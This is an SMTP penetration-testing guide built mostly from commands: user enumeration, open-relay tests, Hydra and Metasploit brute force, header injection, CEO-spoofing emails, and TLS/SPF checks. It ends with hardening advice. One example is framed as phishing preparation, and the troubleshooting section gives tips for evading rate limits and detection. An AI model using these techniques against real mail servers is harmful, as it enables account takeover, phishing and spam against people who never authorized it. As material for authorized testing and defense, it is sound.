SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

• SMTP protocol fundamentals
• Email architecture (MTA, MDA, MUA)
• DNS and MX records
• Network protocols

Required Access

• Target SMTP server IP/hostname
• Written authorization for testing
• Wordlists for enumeration and brute force

Outputs and Deliverables

1. SMTP Security Assessment Report - Comprehensive vulnerability findings
2. User Enumeration Results - Valid email addresses discovered
3. Relay Test Results - Open relay status and exploitation potential
4. Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: SMTP Architecture Understanding

Understand SMTP components and workflow:

SMTP Components:
- Mail Transfer Agent (MTA): Transfers email between servers
- Mail Delivery Agent (MDA): Delivers email to recipient mailbox
- Mail User Agent (MUA): Email client software

SMTP Ports:
- Port 25: Standard SMTP (often blocked by ISPs)
- Port 465: SMTP over SSL (deprecated but still used)
- Port 587: SMTP submission with STARTTLS
- Port 2525: Alternative SMTP port

SMTP Workflow:
1. Sender MUA → Sender MTA (outgoing)
2. Sender MTA → DNS lookup for recipient MX
3. Sender MTA → Recipient MTA (relay)
4. Recipient MTA → Recipient MDA
5. Recipient MDA → Recipient MUA (retrieval via IMAP/POP3)

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com

# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>

RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<attacker@test.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test
Bcc: hidden@attacker.com
X-Injected: malicious-header

Injected content
.

Email spoofing test:

# Spoofed sender
MAIL FROM:<ceo@target.com>
RCPT TO:<employee@target.com>
DATA
From: CEO <ceo@target.com>
To: employee@target.com
Subject: Urgent Request

Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# Check STARTTLS support
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL connection (port 465)
openssl s_client -connect TARGET_IP:465

# Check certificate details
openssl s_client -connect TARGET_IP:25 -starttls smtp 2>/dev/null | openssl x509 -noout -text

# Test TLS versions
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF record lookup
dig TXT target.com | grep spf
nslookup -type=txt target.com

# DKIM record lookup
dig TXT selector._domainkey.target.com

# DMARC record lookup
dig TXT _dmarc.target.com

# Analyze SPF policy
# v=spf1 include:_spf.google.com -all
# -all = strict (fail), ~all = soft fail, ?all = neutral

Quick Reference

Essential SMTP Commands

Command	Purpose	Example
HELO	Identify client	HELO client.com
EHLO	Extended HELO	EHLO client.com
MAIL FROM	Set sender	MAIL FROM:<sender@test.com>
RCPT TO	Set recipient	RCPT TO:<user@target.com>
DATA	Start message body	DATA
VRFY	Verify user	VRFY admin
EXPN	Expand alias	EXPN staff
QUIT	End session	QUIT

SMTP Response Codes

Code	Meaning
220	Service ready
221	Closing connection
250	OK / Requested action completed
354	Start mail input
421	Service not available
450	Mailbox unavailable
550	User unknown / Mailbox not found
553	Mailbox name not allowed

Enumeration Tool Commands

Tool	Command
smtp-user-enum	smtp-user-enum -M VRFY -U users.txt -t IP
Nmap	nmap --script smtp-enum-users -p 25 IP
Metasploit	use auxiliary/scanner/smtp/smtp_enum
Netcat	nc IP 25 then manual commands

Common Vulnerabilities

Vulnerability	Risk	Test Method
Open Relay	High	Relay test with external recipient
User Enumeration	Medium	VRFY/EXPN/RCPT commands
Banner Disclosure	Low	Banner grabbing
Weak Auth	High	Brute force attack
No TLS	Medium	STARTTLS test
Missing SPF/DKIM	Medium	DNS record lookup

Constraints and Limitations

Legal Requirements

• Only test SMTP servers you own or have authorization to test
• Sending spam or malicious emails is illegal
• Document all testing activities
• Do not abuse discovered open relays

Technical Limitations

• VRFY/EXPN often disabled on modern servers
• Rate limiting may slow enumeration
• Some servers respond identically for valid/invalid users
• Greylisting may delay enumeration responses

Ethical Boundaries

• Never send actual spam through discovered relays
• Do not harvest email addresses for malicious use
• Report open relays to server administrators
• Use findings only for authorized security improvement

Examples

Example 1: Complete SMTP Assessment

Scenario: Full security assessment of mail server

# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com

# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT

# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com

# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com

# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com

# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp

# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com

Example 2: User Enumeration Attack

Scenario: Enumerate valid users for phishing preparation

# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25

# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com

# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run

# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster

Example 3: Open Relay Exploitation

Scenario: Test and document open relay vulnerability

# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# If 250 OK - VULNERABLE

# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com

# Output:
# PORT   STATE SERVICE
# 25/tcp open  smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)

Troubleshooting

Connection Refused

Problem: Cannot connect to SMTP port

Solutions:

1. Verify port is open: nmap -p 25 TARGET
2. Check firewall rules on both ends
3. ISP may block port 25 outbound
4. Try alternative ports (587, 465)
5. Use VPN or different network

VRFY/EXPN Disabled

Problem: Server rejects VRFY and EXPN commands

Solutions:

1. Use RCPT TO method for enumeration
2. Analyze response time differences
3. Check response code variations
4. Try during off-peak hours
5. Use slower enumeration to avoid detection

Brute Force Blocked

Problem: Account lockout or rate limiting

Solutions:

1. Slow down attack speed: hydra -W 5 ...
2. Use different source IPs
3. Focus on targeted password list
4. Try password spraying instead
5. Check for fail2ban or similar protection

SSL/TLS Errors

Problem: Cannot establish encrypted connection

Solutions:

1. Check correct port (465 for SSL, 25/587 for STARTTLS)
2. Verify server supports STARTTLS: EHLO response
3. Use appropriate openssl command
4. Check for certificate issues
5. Try different TLS versions

Security Recommendations

For Administrators

1. Disable Open Relay - Require authentication for external delivery
2. Disable VRFY/EXPN - Prevent user enumeration
3. Enforce TLS - Require STARTTLS for all connections
4. Implement SPF/DKIM/DMARC - Prevent email spoofing
5. Rate Limiting - Prevent brute force attacks
6. Account Lockout - Lock accounts after failed attempts
7. Banner Hardening - Minimize server information disclosure
8. Log Monitoring - Alert on suspicious activity
9. Patch Management - Keep SMTP software updated
10. Access Controls - Restrict SMTP to authorized IPs